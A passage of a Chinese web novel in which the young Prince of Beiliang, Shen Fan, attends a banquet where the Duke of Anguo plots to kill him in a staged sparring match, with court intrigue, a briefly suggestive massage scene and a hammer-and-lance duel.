吃完饭后,沈凡就去客房找苏先生。 昨天是老人家住的第一晚,想问问住的习惯不习惯,还需要什么东西不? 可到客房却扑了空,原来苏先生一大早就带着一个男仆出了王府,说是去找建书院的地方去了。 “这位苏先生还是个急性子。”沈凡笑着自语了句,对水仙吩咐道: “记得给苏先生配个使唤丫鬟,再配个小厮,不要慢待了。” 经过昨天的事,水仙也知道这位苏先生在王爷心里的地位,回道:“王爷放心,一定办好。” 忽闻一阵喧闹声从前院传来,沈凡闻声来到前院,就见门外聚集了很多人,都是些精壮的汉子,且个个腰间佩着刀剑。 徐盛、丁奉、周泰、还有那个张硕之子张峰都站在门口。 倪福对这些汉子喊道:“都别乱,都别乱,一个个登记姓名。” 第七十五章:真让苏先生猜对了 “师父,王爷来了。”张峰眼尖,看到沈凡后立刻对身边的徐盛道。 徐盛忙带他过去,拱手施礼道:“拜见王爷。” “拜见王爷。”张峰也有样学样,对沈凡鞠躬施礼。 沈凡看到,张峰已是换了一身黑色劲装,外面罩着宽松的大氅,腰间还挂着把蟒蛇皮鞘的的腰刀,颇有些少年英雄的意思。 沈凡看着欢喜,问道:“什么时候来的。” 张峰道:“回王爷的话,小的天不亮就到了,今天算是第一天当差。” 沈凡想起坊间的那些军属,又问:“平安坊那些病亡将士的抚恤都发了么,娄氏怎么样?” 张峰道:“您放心吧,都发完了,娄氏也领到了她那份,高兴的不得了。” 沈凡欣慰地点点头,这才问徐盛:“这些人是怎么回事?” 徐盛道:“前几日您不是让我们招募护卫么,昨天倪福将招募的告示贴了出去,没想到一大早来了这么多应募的。” 看着这些精壮的汉子,沈凡忽然想到了皇家暗卫的事,说道:“让倪伯到前厅来,我有话跟他说。” 说完就转身向前厅走去。 不一会儿倪福进了前厅,沈凡对他提出了招人的三个新要求。 第一,家中富裕的不要。 第二,没有担保人,不了解底细的不要。 第三,以前给别人做过护院的不要。 听了沈凡的新要求,倪福有些纳闷。 对于第一点他能理解,家中富裕的人是不会死心塌地为王府效力的,可对第二和第三个要求,就不明白什么意思了? 沈凡也不瞒他,将担心暗卫的事说了。 倪福听后深以为然,但还是说了自己的担心。 那就是即使这样,也很难甄别出掺杂在里面的暗卫。 一旁的水仙听后也担心的道:“王爷,那您说奴婢买的仆人是不是也不保底?” 沈凡告诉她,以后买仆人也要遵循这些要求,不过这种事防不胜防,即使有暗卫混进来也不要过于担心。 只要你们平时多加留意,一旦发现有可疑之人要立刻告诉我,切勿打草惊蛇,一切由我来定夺。 水仙回道:“明白了。” 倪福道:“那小人今天就按王爷的吩咐做,不过我们中午要随您去赴宴,没人考他们。 小人想今天先给他们登记,选拔的事安排在明日。” 沈凡点头应允,问道:“选拔的内容是怎么定的?” 倪福道:“先要能举着一百五十斤的石锁走十步,过了这关才能接受丁奉、周泰的搏击考核。 然后在经过韩当的射术考核,都过关后,在请王爷面试做最终去留。” “就这样办。”沈凡道:“我去安国公府的时候,你和张峰留下看家。” “王爷,小人也要跟您去。”张峰道。 沈凡看向他道:“你去干什么,领命就是。” 张峰还想说什么,被师父徐盛用眼神阻止,只得无奈地点点头。 不带张峰是有原因的,他还是个孩子,真遇到危险带着反而不方便。 眼看临近晌午,沈凡就吩咐人备车, 因为应试护院的人越聚越多,沈凡没走正门,选择从侧门出府,在水仙担心的目光中上了车,直奔安国公府。 徐盛、丁奉、韩当、周泰四人骑马随行。 安国公府离王府较远,大概有十多里路,需经过五六个坊间。 一行人穿过热闹的街道,用了半个时辰才到达安国公府所在的安定坊。 沈凡撩起车帘看到,安国公府的规模很大。 两扇巨大的红漆木门紧闭,两侧屹立着的大号石狮子,门楣雕梁画栋,气派非凡,比自己的王府大上一倍都不止。 马车刚停在门口,沈凡就感到了一股杀气。 就见门口站着八个身穿蓝衣劲装,跨刀站立的壮汉。 虽说这些人没穿铠甲,可眼神里皆带着戾气,应该是军人。 沈凡知道,只有安国公这样战功赫赫的人才有资格使用军队的人,不过在这里改了称呼,叫府兵。 徐盛轻声道:“王爷,我感觉有些不对劲,门口为何要布置这么多府兵?” 沈凡道:“没什么,随我进去就是。” 就在沈凡下车时,就听马车后传来一声轻呼:“北凉王等一等。” 沈凡扭头看去,就见一辆装饰豪华的马车已是停在了眼前。 随着车门被打开,现出了三个人的身影。 其中一人是张凤,另一人是艳姑姑,站在他们中间的是位身穿白狐大氅,美艳绝伦的女子,正是丹阳公主。 真让苏先生猜对了……看到这小娘们儿时,沈凡心里不由升起一阵暖意,这种感觉已经很久没有感受到了。 丹阳公主嘴角含笑道:“看在你小子拿烧饼给本宫的份上,本宫还是决定陪你闯闯这虎穴龙潭。” 烧饼……沈凡楞了下,看到挤眉弄眼的艳姑姑后立刻明白了什么,呵呵一笑道:“殿下若是爱吃,我再送几锅殿下。” 丹阳公主嘴角翘得更高了,在艳姑姑的搀扶下下了车。 沈凡退了半步,站在丹阳公主身后道:“殿下请。” “不。”丹阳公主道:“安国公请的是你,你就是主宾,本宫这次算跟你一起来的友人,今日赴宴还是以你为主。” 说完这话丹阳公主还做了个请的手势。 为了自己肯自落身驾,够意思……沈凡点点头,走到丹阳公主身前,向安国公府大门走去。 在经过艳姑姑身边时,还给了她一个笑意表示感谢。 这让艳姑姑有些猝不及防,身子微微一抖,觉得放弃那么好吃的烧饼很值得。 安国公府门口的护卫早就看到了这两辆马车,不过无论沈凡还是丹阳公主的车都没挂旗号,护卫并不知道他们的身份。 眼见这位长像英俊的公子,带着一位漂亮的小姐来到门前,将一张拜帖拿出来道: “请通禀一下,北凉王沈凡与丹阳公主殿下前来拜访安老国公。” 护卫们听后都吃了一惊,北凉王来他们是知道的,可没想到丹阳公主也来了。 一个护卫头领忙道:“请稍等,小人这就去禀报”,说完拿着拜帖就往府里跑。 沈凡和丹阳公主见状都没说什么,站在台阶上静等。 第七十六章:王爷,这力道如何 安国公府内宅的一处暖阁内,宝亲王赵忠穿着洁白的中衣,趴在铺着羊毛毯的床榻上,任由一名如花似玉的奴婢做着推拿。 “对对对,腰的地方要使劲按,本王最近那老酸。”赵忠发出舒服的呻吟声道。 “好的王爷,您看这个力道如何?” 奴婢问道,嗓音温柔纤细,听得赵忠感到一阵酥麻。 “不错不错。”他扭头看了眼这个身材妙曼的婢女,又看了眼侧旁躺在另一张床榻上,与自己同样享受着推拿的郑建山道: “我说安国公,你这日子过得不错呀! 若不是你把本王请来,说是认识一下什么新晋的北凉王,本王还不知你府上还有这般手巧的奴婢。” 郑建山看向赵忠笑道:“其实认识那个北凉王并不重要,重要的是老夫已经很久没和王爷喝酒了,正好借着这个由头把王爷请来聚聚。” 赵忠道:“我说嘛,一个世袭王位的毛头小子有什么认识的,原来你是想请本王喝酒。” “哈哈哈……”郑建山笑道:“不愧是宝亲王,一下就明白了老夫的心思。 您是皇上的亲兄弟,正经八本的皇亲国戚,自去年皇上暗中点我不要与皇亲和权贵走的太近后,老夫就一直忌惮,所以请王爷喝酒的次数就少了。 可这个新晋北凉王不一样,既无权又无势,老夫想正好借着这个机会把您也请来,免得落个结交权贵臣的嫌疑。” 赵忠笑骂道:“你个老家伙少来这套,别以为本王不知道,那个新晋北凉王告发了你孙子和孙媳妇。 你请本王来,是不是还存着用本王的声威替你撑腰?” 郑建山脸色一变道:“还是王爷厉害,老夫是存了这个心思。 毕竟化干戈为玉帛是要靠实力的,可我老了,没多少天活头了,怕那个北凉王记老夫孙子的仇,这才清了王爷。” 赵忠道:“你呀,也不好好管管晚辈,争功太切不好,用兵过狠是大忌。” 郑建山眼中现出几许悲伤道:“是怪我,可王爷也知道,老夫其他几个儿孙不成器,就天泽这个孙子还有些上进心。” “好了,好了。”赵忠不愿意听郑建山絮叨,说道:“本王会帮你这个忙的,就是不知这个新晋北凉王人性如何……对了,他叫什么来着?” “沈凡。”郑建山道:“此子年不到二十,表面看起来彬彬有礼,实则靠着他父亲的余威甚是嚣张。” 赵忠有些纳闷的道:“我记得老北凉王沈克用那人不错呀,怎么会又这么个儿子?” 郑建山道:“不止这些,这个沈凡如今在丹阳公主手下办差,这让老夫对他更是有所顾忌。” “哦,你说本王的那个侄女呀,这到有可能,她是很护短的。”赵忠若有所思的道。 郑建山道:“所以才请王爷做个说和人。” 赵忠想都没想的道:“没问题。” 郑建山嘴角现出一抹笑意,他要的就是这个效果。 只要这位宝亲王站在自己这边,一会儿比武时就算‘失手’杀了沈凡,宝亲王也会为了避嫌为自己做证。 “啊哟,啊哟……对,在用些力。”被按到了最舒服地方的赵忠呻吟着道。 郑建山不失时机的问道:“王爷觉得这个婢女如何?” “不错。”赵忠看了眼那个婢女道。 郑建山将头埋在臂弯里嗡声嗡气的道:“王爷若是觉得好今日就带走,此女柔情似水,很适合败火。” “这可是你说的啊!” 郑建山“嗯”了声。 心下欢喜的赵忠将右手反背过去,放在婢女的腿上抚摸着。 婢女脸一红,玉手在赵忠的腰眼处轻挠了几下。 一股舒适感传至赵忠全身,他瞥了眼将头埋在臂弯里的郑建山,将手顺着婢女的大腿一路上游…… 婢女不但不躲,反而还把胯向前迎了迎,随手用被子盖在了腰间。 “咕叽咕叽……”隐约有水声传来……赵忠……还真柔情似水! 正这时,暖阁外响起一阵急促的声音:“国公,国公。” 郑建山听出来了,唤自己的是管家郑安,抬起头道:“进来吧。” 走进暖阁的郑安要说话,看到宝亲王又把嘴闭上了。 郑建山见状道:“是不是北凉王到了?” “是。”郑安道。 郑建山道:“请他去前堂,我陪王爷按完了就过去”,却发现郑安站在那没动,还对自己使了个眼色。 郑建山微微一楞,知道郑安这是有要事禀报。 赵忠看了到郑安对郑建山使眼色,知道他这是有事,笑道:“安国公有事可先出去,等开宴本王去找你。” 此时他的手并没有从婢女的腿间抽回来,依旧在抚弄着。 郑建山本想带郑安出去说话,想到当着宝亲王这样不好,有把人家当外人的嫌疑,看向郑安道: “有话就说,有事瞒谁也不能瞒宝亲王。” 郑安道:“小人没这个意思,是丹阳公主殿下和北凉王一起来了。” “什么!” “什么!” 郑建山和宝亲王同时道了声,脸上皆现出惊讶的神情。 “哎呦~”这声娇呼是那个婢女发出来的,因为宝亲王把她扣疼了。 郑建山惊得是,以丹阳公主的身份这般不请自来是不符规矩的,是屈尊。 最重要的是,这样一来自己的谋划很可能会落空。 宝亲王惊得是,丹阳公主怎么来了,要是她皇兄自己来这里…… 想到这忙对郑建山道:“就当本王没来过啊”,说着从塌上爬起来就去拿衣服。 郑建山的目的还没达到,岂能让他就这样走了,问道:“王爷,您这是干什么?” 赵忠道:“皇上最厌恶我花天酒地,丹阳要是告诉皇上我就完了。” 郑建山笑道:“您真是糊涂,公主又没看到这些,老夫不说谁知道。 再说您是明着来的,就这么走了反而会引起怀疑,不如留在这赴宴。” 赵忠恍然有悟道:“也对,那就快更衣,咱们去迎丹阳。” 看着这个出了明的荒唐加草包王爷,郑建山苦笑一声道:“王爷您又糊涂了,公主是您的晚辈,待老夫把她迎进来您在出去。” 赵忠一拍脑袋道:“对对,那你快去。” 第七十七章:大开中门,迎接公主殿下 离开了手忙脚乱穿衣服的宝亲王赵忠,郑建山带着郑安出了暖阁,刚进前院,就看到了孙子郑天泽、王灵瑶和她的父亲。 王灵瑶和王父是早上被天泽接进府的,目的是让他们看看自己是如何弄死沈凡的。 “爷爷,丹阳公主怎么和那小子一起来了?”郑天哲问道。 “你怎么知道的?”郑建山问道。 “人都到门口了,孙儿能不知道吗。”郑天泽道。 就见一旁的王父失望的道:“老国公,看来今天很难得手了。” 郑建山轻哼一声道:“这有什么,你们在暗中看着吧,当着丹阳公主老夫一样能宰了那小子。” 郑天泽闻言大喜道:“好的爷爷”, 说着就带着王家父女退了下去。 郑建山整理了一下衣袍,对管家郑安道:“大开中门,迎接公主殿下。” 安国公府门外,沈凡对丹阳公主道:“怎么还不出来?” 此时正值寒冬腊月,寒风略过街头,又被安国公府深凹的门楼所吸形成了穿堂风,打着旋儿吹在丹阳公主身上。 就算她穿着白狐大氅,紧抱着手炉,依然难挡刺骨的寒气侵袭, 打了个喷嚏。 这可把艳姑姑吓了一跳,忙道:“殿下,您还是回车上等吧?” “是啊,上车等吧,别着凉了。”沈凡也道。 “不用。”丹阳公主抽着小鼻子道:“安国公是开国勋贵,架子大些是应该的。” 细心的沈凡发现,她虽这么说可秀眉却皱了起来,明显是对安国公表示出了不满。 又见这小娘们白衣胜雪,袅袅婷婷,周身无处不媚却瑟瑟发抖的样子,想都没想就解下了自己的大氅。 丹阳公主只觉肩上一沉,发现身上多了件厚实的貂皮大氅,一股暖意顿时涌上心头。 看到沈凡身上只剩一件白色棉袍,忙道:“你还是穿着吧。” “我不冷。”沈凡拒绝道,特意将腰杆挺了挺。 丹阳公主心头又是一暖,忽然想到了什么,将手里的暖炉递过去道:“这个给你。” “不用。” “你若是不拿,我就不穿。” 看到丹阳公主倔强的样子,沈凡只好笑着接过,无意间碰到了她的手。 这一瞬,两人的身子都像触电般一麻。 丹阳公主忙收回手,冻得白皙的脸颊瞬间红润起来。 沈凡干咳一声,装作无事将手炉抱在胸腹间,可目光却依然落在丹阳公主的身上。 冬日的阳光映在她娇嫩的脸上红扑扑的,皮大敞下隐约可见纤纤不堪一握的细腰,看得人很想轻轻揽一下…… 沈凡嘴角一抖,我这是怎么了,尽往歪道上想。 忽听身后传来了开门声,随着两扇大门被打开,现出了郑建山老当益壮的身影。 “老臣不知公主殿下驾到,有失远迎……还望殿下恕罪。” 郑建山双手抱拳,对丹阳公主深施一礼道。 丹阳公主很会演戏,眉头只是微微一皱,下一瞬嘴角就露出晚辈见长辈时的笑容道: “不必多礼,本宫今日闲来无事,就决定来蹭一蹭安国公和北凉王的酒局,不知欢迎否?” 郑建山更会演戏,装作吃惊的样子先是看了看沈凡,随后笑着对丹阳公主再次施礼道: “怎么不可以,殿下大驾光临可是让老臣家蓬荜生辉,殿下请,北凉王请。” 丹阳公主微微点头,迈着端庄的步伐走进大门。 沈凡与郑建山目光交错间道:“安国公请。” 郑建山给了沈凡一个意味深长的笑意,大步跟上丹阳公主,与其并肩而行。 沈凡、张凤、艳姑姑、丁奉、徐盛、韩当、周泰紧跟其后。 进了安国公府后,沈凡发现郑建山很有钱,府宅里雕栏画栋,所见之处尽显奢华。 众人随郑建山向前厅走去,刚进院子,映入眼帘的是一座由青石铺就的练武场。 练武场一侧排着兵器架,斧钺钩叉、刀枪剑戟十八般兵器样样齐备。 “王爷,看哪个。”随着徐盛的轻声提醒,沈凡顺着他的目光看去,就见兵器架下放着一对金光闪闪的大锤。 不用徐盛说什么,沈凡知道这应该就是传闻里郑建山的兵器,鎏金大铁锤。 看着沈凡心下一颤,自诩轮不起来…… 丹阳公主在看到这个练武场时微微皱眉道:“安国公,府上这练武场怎么设在了前厅外?” 郑建山道:“臣是武将,平日就喜欢在宴请客人的时耍一耍,故就将练武场建在了这。” 丹阳公主点点头道:“原来是这样。” 郑建山笑道:“今日借着宴请北凉王的机会,正好可以请殿下看老臣与北凉王切磋。” 听到这话,丹阳公主和沈凡互相对视了一眼。 就见郑建山又道:““对了殿下,有件事老臣还没来得及说,就是老臣今日还把宝亲王请来了,现就在前厅。” “你把我皇叔请来了?”听到这话的丹阳公主现出几分惊讶,不由加快步往前厅走。 跟在后面的沈凡有些不明所以……这位宝亲王他从没见过,不过早有耳闻。 父王在世时跟自己说过,宝亲王是当今的皇上的弟弟,一个娘肚子里爬出来的那种。 两人自小一起读书,感情很好。 可自从皇上被立为太子后,这位宝亲王就性情大变,不在像以前那样睿智,吃喝玩儿乐无所不做,反正就是不干正事。 为此常受到先皇的责罚,落了个荒唐王爷的名号。 可按父王说,宝亲王此举看似荒唐实则是韬光养晦,懂得自保。 自当今皇上登基以后,他那些皇兄皇弟不是被贬,就是被发往封地,只留下这么一位宝亲王在京城。 此举虽有监视他的意思,可从另一方面看也是兄弟感情至深。 自己很想见识一下这位荒唐王爷,却始终没有机缘,没想到今天在这里能遇到。 到了前厅门口时,就见郑建山道:“北凉王,因为宝亲王在里面,请把护卫留在厅外。” 沈凡对徐盛四人道:“你们都在这里等。” 徐盛几人知道这是规矩,点点头,看着沈凡走进前厅。 不过他们的心神一直是绷着的,但凡自家王爷有一点儿危险,他们就毫不犹豫冲进去。 第七十八章:你们认识 安国公府的前厅很大,从屋梁垂下的三道纱帘将其隔成三个隔断,隐约可见最里面摆着几个餐桌,上面布着菜肴。 沈凡的注意力并不在这上,警惕地观察四周的环境,并没发现有埋伏。 只是沈凡不知道的是,在前厅左侧的内间里,王灵瑶父女和郑天泽正躲在里面,通过门缝向前厅里观望着。 穿过三道纱帘,丹阳公主对着一位五十多岁,长相富态,留着长髯的男人施了个礼,嘴角含笑道:“丹阳拜见皇叔。” 赵忠微微欠身,抬起右手笑道:“不必多礼,没想到咱们叔侄能在这见到。” 丹阳公主道:“皇叔怎么也在这?” 之所以明知故问,是因为她知道郑建山的谋划是否也有皇叔参与? 赵忠笑道:“昨天接到了安国公的请帖,说是今日要宴请新晋北凉王,让我来坐陪。 你知道,皇叔我一天到晚没什么事,就喜欢到处凑个热闹,所以就来了,呵呵呵……” 丹阳公主从皇叔的表情上并没发现什么异常,心里多少有了些底,笑道:“那我就给您引荐一下这位新晋北凉王。” 说着往旁边移了一步,看向身后的沈凡道:“北凉王,还不快参见宝亲王。” 沈凡刚才一直在观察周围的情况,加上有纱帘和丹阳公主的遮挡并没有看宝亲王,闻言向前紧走几步拱手道:“臣沈凡,参见宝亲王。” 宝亲王见丹阳公主时一直是坐着的,这是因为他是丹阳公主的长辈,可对沈凡却不同。 虽说沈凡是臣子,但也是王。 按朝廷礼制,自己这个亲王也不能失礼,笑眯眯起身对着沈凡拱手道:“有礼,有礼。” 直到这时,两人才看清楚对方的样貌。 赵忠如触电般身子猛一抖,下意识道:“怎么是你?” 沈凡也是身子一征,下意识道了句:“怎么是你?” 原来这位宝亲王不是别人,正是自己在教坊司遇到的那个光腚老男人。 别看赵忠现在穿得衣冠楚楚,可沈凡脑海里还是浮现出了他裸露的样子,还有那根小蚕茧。 沈凡一下子就反应了过来,朝廷是严令皇族不能嫖妓的,更何况是这位当今皇上的亲兄弟,难怪那天他宁可露腚也要死命挡住脸。 两人的异常被郑建山看在眼里,看向宝亲王道:“王爷,你们认识?” “啊!”赵忠愣了下忙摆手道:“不认识,不认识。” 看到赵忠瞪得溜圆的眼睛,沈凡知道他不想相认,自然也不会触这个晦气。 可是刚才自己与他的举动已经被郑建山看在眼里,说不认识鬼都不信。 急中生智间已是想好了说辞,看向郑建山道:“安国公,我与宝亲王是不认识。 不过先父活着的时候对宝亲王赞许有加,曾对我描述过宝亲王的样貌,今日一见果然与先父描述的一样,故才这么说的。” 说完不待郑建山说话,看向赵忠道:“宝亲王,您是不是看我长得像我父王,所以才有似曾相识之感?” “对对。”宝亲王指着沈凡笑道:“你长得和老北凉简直就是一个模子里刻出来的。” 说话间一把抓住沈凡的手道:“来来来,坐到本王身边来,让本王好好看看你……哈哈哈……果真是虎父无犬子,一表人才,一表人才呀!” 沈凡也乐意跟他演戏,坐在赵忠身边笑道:“王爷不愧为龙种,气度不凡,如山峰之巅令晚辈不禁仰视。” “哈哈哈……你小子真会说话,来,咱们干一杯。” 见沈凡如此机灵,赵忠心里的石头也落了下来,给沈凡倒了杯酒,两人对碰一下一饮而尽。 这一幕把郑建山、丹阳公主、张凤、艳姑姑都看懵了。 这——这就喝上了? 他们是什么关系,怎么看着比别人都亲? 与此同时,躲在偏房的王灵瑶父女和郑天泽则面面相看,表情皆一片茫然。 王灵瑶想的是,沈凡这是走了什么狗屎运,竟能与宝亲王一见如故? 郑天泽和王父心中升起一片阴影,看来杀沈凡的事够呛能办成了。 宝亲王喝了酒后,发现郑建山和丹阳公主还站在那,神情古怪地看着自己,忙道: “别都站着,都坐,都坐,咱们一起喝。” 虽然丹阳公主感到有些莫名其妙,可看到皇叔和沈凡这么投缘自是高兴,因为如此一来沈凡就更安全了。 对赵忠笑着说了声:“谢皇叔”,在张凤和艳姑姑的陪伴下入了席。 郑建山老脸上的肉则抽搐了两下,他自然能看出来宝亲王和沈凡之间有事,却不知道是什么事? 不过真正让他担心的是,如果沈凡攀上了宝亲王,那以后对孙子的威胁就更大了。 基于这点,更加坚定了他今天一定要弄死沈凡决心。 于是没等酒过三巡菜过五味,就对沈凡抱了抱拳道:“北凉王,别忘了咱们的约定,现在就切磋一下如何?” 听到这话,丹阳公主、张凤、艳姑姑皆神色一凝,躲在偏房的王父和郑天哲则脸上一喜。 沈凡……来了,这老家伙果然念着的是这事。 沈凡刚想回应,一旁的丹阳公主已是道:“安国公,今日我皇叔在,本宫看这武就不要比了,多饮几杯不好吗?” 这话听得沈凡心头一暖,可面对丹阳公主的阻拦郑建山却道:“公主殿下此言差矣,一来此事早已定下,二来正好可以给宝亲王助助兴。 殿下知道臣是好武之人,总不会是怕臣伤了北凉王吧?” 侧旁,不知情的赵忠听得一头雾水,问道:“安国公,这是怎么回事?” 郑建山就将邀请沈凡切磋武艺的事说了。 赵忠听了后看向丹阳公主笑道:“这是好事啊,一来本王已经多年没见安国公出手了,二来比武助兴正应了咱们先祖的尚武之风,你怎么还阻拦呢?” 丹阳公主皱了皱眉,很想把匿名信的事说出来,可话到嘴边又咽了回去。 缘由是安国公的名望太高了,连父皇都要礼敬三分,没有确凿的证据是不能无端说出来的。 坏了皇族与勋贵关系的罪名,自己也担不起。 即使是这样,丹阳公主还是看向沈凡摇摇头。 意思很明显,只要你不同意不比了我就可以借机在说话,一点儿都不丢人。 第七十九章:北凉王,可认识老夫这对金锤否 沈凡自然明白丹阳公主的意思,这是让自己拒绝,她在借机说话。 可当着这么多人的面岂能做缩头乌龟,丢了自己的脸面是小,污了先父的英名是大。 想到这给了丹阳公主一个安心的眼神,起身对郑建山施礼道:“既然安国公想指点晚辈,晚辈自当从命。” 郑建山闻言暗喜,他还真担心沈凡做缩头乌龟。 小子,这是你自己找死……郑建山也站起身,做了手势道:“北凉王请。” 说着便迫不及待向厅外的练武场走去,沈凡则跟在后面。 丹阳公主没想到沈凡这么倔,可硬拦又没理由,只能在张凤和艳姑姑的陪伴下来到前厅门口观看。 “如果北凉王遇到危险,你要出手。”丹阳公主用极微弱的声音对张凤道。 张凤刚要回应,见宝亲王赵忠端兴致勃勃着酒杯也出来了,便对丹阳公主点了点头。 眼见沈凡跟着郑建山走了出来,徐盛、丁奉、韩当、周泰的神色很紧张。 刚才在前厅发生的事他们都看到了,知道这场比武已不可避免,互相使了个眼色,走到了练武场的角落。 这是他们提前商量好的,只要王爷呼唤,就会一拥而上群殴安国公。 偏房内,王灵瑶父女和郑天泽透过窗缝向外瞧着。 郑建山走到那对鎏金大铁锤前笑道:“北凉王,可认识老夫这对金锤否?” 沈凡微微一笑道:“有所耳闻,今日是第一次见。” 郑建山提起一柄金锤道:“当年老夫凭着此锤立过无数战功,可惜英雄迟暮,如今也只能在家耍耍了。” 话音刚落,郑建山突然将手臂一甩,将这柄金锤掷了出去。 眼见金锤翻着跟头砸向沈凡,丹阳公主的心一下子提到了嗓子眼,却见沈凡只是探出一只手,“啪”得一声就稳稳抓住了锤柄。 沈凡掂了掂金锤赞道:“够分量,安国公的确威武。” 郑建山嘴角露出一丝狞笑道:“多谢夸奖,在试试这只”,说着将另一只金锤也丢了过去。 有了沈凡刚才轻松接锤,丹阳公主这次就没那么紧张了,可张凤,丁奉、徐盛、韩当、周泰却都神情一紧。 他们都是常年习武的人,发现郑建山这次是丢来的金锤明显带着力道,翻滚中裹挟着渗人的风声。 与此同时,刚触碰到锤柄的沈凡也查觉到了不对。 原来刚才郑建山丢第一只金锤时并未发力,接起来不难。 这次丢来的金锤却带着十足的力道,握住锤柄的瞬间沈凡就感觉仿若有千斤之力,力道大得能将自己连人带锤甩飞出去。 沈凡不敢懈怠,猛然急退两步,紧接着一拧腰,身子像陀螺般带着金锤转了三圈,借着这股力道才勉强抓牢了锤柄。 可又发现郑建山的力道实在太大了,就算抓住了锤柄身子还是停不来,随着巨大的惯性依旧在旋转。 “老国公的神兵利器晚辈可不敢拿,还您了!”沈凡道了句,将两柄金锤一齐甩了回去。 之所以这么做,一来是要想彻底控住金锤非得转上十几圈不可,那样太狼狈了。 二来正好借力打力,以其人之道还治其人之身,把锤子给还这老家伙。 “呼……呼……”伴着两股低沉的风声,两柄金锤翻滚着砸向郑建山。 没了负重的沈凡一个后弓步踏住地面,这才稳住了身形。 “来的好!” 郑建山一甩袍袖,已是探出两只手分别抓住了两只锤柄,身子一缩稳稳站在了原地,似笑非笑看向沈凡。 他对沈凡能接住自己的金锤后,还能还给自己的举动并不感到惊讶。 如果这小子连借力打力的功夫都没有,那他也不可能打过天泽。 沈凡吃了一惊,知道郑建山武功高强,没想到会强到这等地步。 自己还回去这两柄金锤的力道,绝对大于郑建山扔给自己时的力道,可他却能稳稳接住,不愧为大夏第一勇士。 练武场外,张凤、丁盛、韩当等人心都凉了半截。 他们知道沈凡的武功不弱,可跟郑建山比起来还是差了不少。 “丹阳,北凉王的武功还可以,这场比武有点儿意思。”赵忠边嗑着瓜子边对身边的丹阳公主道。 丹阳公主这时哪有功夫搭理他,只“嗯”了声做为回应,神情紧张的看向沈凡。 反之,偏房内的王父和郑天泽都是神情一振。 王父推了把身边的女儿轻声道:“闺女,看到了吧,还是你公公厉害!” “嗯。”王灵瑶应了声,眼珠不错的看着。 就见郑建山左右晃动了几下脖子,对沈凡笑道:“还不错,接老夫几锤。” 说着身形一动,抡双锤朝沈凡砸去。 此时沈凡已是拔出了佩剑,身子往旁边一闪,宝剑斜着向郑建山的手腕划去。 与金锤相比宝剑太过轻巧,不能硬碰硬,只能用巧招相抗。 沈凡原想着就算伤不到郑建山的手腕,这一剑也能迫使其回锤格挡。 不想郑建山已将双锤使得出神入化,手腕一绕,两柄金锤诡异的在空中划出一个半圆,其中一柄金锤挡住了宝剑,任由剑锋在上面划出一条火花。 没等沈凡反应,另一柄金锤则自下而上撩起,与上面的金锤将宝剑猛然夹住。 “破!”伴着郑建山发出一声轻喝,两柄金锤竟将宝剑从中一折为二。 “啊!”沈凡轻呼一声,握着半截宝剑向后急退。 郑建山狞笑一声,抡双锤就追。 正这时,忽听丹阳公主大喊一声道:“停!” 趁着郑建山愣神的功夫,沈凡已是向后退了两丈。 郑建山眉头一皱,知道这时在追着打就弄巧成拙了,站定身形看向丹阳公主问道:“殿下为何叫停?” 丹阳公主道:“胜负已分,北凉王不敌安国公,比武到此为止。” 郑建山不满的道:“殿下这是什么话,我们只刚比了一招,怎么就分出了胜负?” 丹阳公主道:“剑都被你打折了,怎么就分不出胜负,北凉王你说是不是?” 说着还冲沈凡使了个眼色,意思很明显,就是你赶快认输。 沈凡没有看丹阳公主,而是神情复杂的看着手里的断剑…… 第八十章:为了家族荣誉而战 沈凡手里的这把剑虽不是什么宝剑,却是当年父王教自己练剑时送的礼物,就这么折了让他很心疼。 再说沈凡也不甘,自己刚才并不是输在招式上,是兵器不行,岂能就这样认输? 就算打不过郑建山,也要看看自己跟他差多少? 另一边,郑建山也不会让沈凡认输,因为只有打起来才能‘失手’杀了对方,用上了激将法道: “北凉王,老夫看刚才你并没有输,只不过是兵器不行。” 说着指向旁边的兵器架道:“老夫这里有的是兵器,你喜欢用什么尽管挑。 当然,若是你仅凭一招就认输,老夫也没什么可说的,只当老北凉王的儿子是个绣花枕头。” 沈凡道:“安国公说的不错,晚辈是兵器不行,待晚辈挑件兵器咱们再比。” “沈凡你……” 听到这话的丹阳公主急了,一脸不可思议看向沈凡。 沈凡看向她道:“殿下不必担心,安老国公说的不错,仅凭一招哪就分出了胜负,再说我也不想当绣花枕头。” 赵忠见状赞道:“北凉王不错么,这才不愧是将门之后。” 丹阳公主知道沈凡的倔脾气,加上皇叔又这么说,也不好说什么了。 与此同时,张凤不由在心里给沈凡赞了声好。 年轻人嘛就应该有点血气,仅凭一招就认输是太丢脸了。 沈凡的话听得丁盛、韩当、周泰、徐盛也是精神一振,不过依旧警戒着。 沈凡走到兵器架前,抽出一根马朔来到郑建山身前道:“安国公,您看我选这件兵器如何?” 沈凡之所以选择马朔,是它的长度远超于普通枪矛类兵器,可以不让郑建山近身。 前面的槊刃也长,份量够重,特别是这柄马朔的杆身是用铁皮包裹的,比普通马朔更粗更硬,可以与对方的金锤抗衡。 看着沈凡的马朔,郑建山现出轻视的神情道:“北凉王好眼力,这根马朔重五十斤,是除了老夫这锤外最重的兵器,也就它能和老夫的双锤拼一拼,就是不知北凉王能不能舞起来?” 沈凡也不与他废话,脱了裘皮大氅,拿起马朔舞了个枪花,以蹦步的姿势站好,朔尖指向郑建山道:“安老国公请。” 郑建山将双锤一碰,竟击出了一团火花,笑着道:“刀枪无眼,北凉王要小心呐!” “安老国公也要小心。”本着先下手为强的原则,沈凡将马朔抡圆了照郑建山就砸了下去。 “来得好。”郑建山也不避,举双锤迎去。 这次双方都没了刚才试探的想法,使出了十成的力道硬碰硬。 “铛~” 宛如大钟在练武场被敲响,震得在场的所有人皆浑身一颤。 沈凡双脚离地翻了跟头,只觉双臂发麻,虎口发疼,连呼吸都有些不畅,深吸了口气才压下去。 硬抗了一马朔的郑建山也好受不到哪去,身子猛得向下一沉,脚下的石板已是裂开了如蜘蛛网般的缝隙,那条有旧伤的腿隐隐作痛。 郑建山心中一惊,暗道此子的武功现在是不如自己,可假以时日不一定会比自己差多少。 为了速战速决,郑建山道了句“看招”,大锤雨点般向沈凡砸了过去。 沈凡发现郑建山的眼神中杀气凛然,这让他更加确信那封匿名信的内容是真的,这老家伙就是要置自己于死地。 老匹夫,还不一定谁弄死谁呢! 沈凡也不示弱,举马朔相迎,将枪法融入马朔的招式里与其厮杀。 劈、盖、截、拦、撩、冲、云、带、挑、出招不断…… 两个强者的兵器每次碰撞都能激起一团火花,发出“叮叮当当”的声响。 “这小子的武功怎么这么高,以前怎么没发现?” 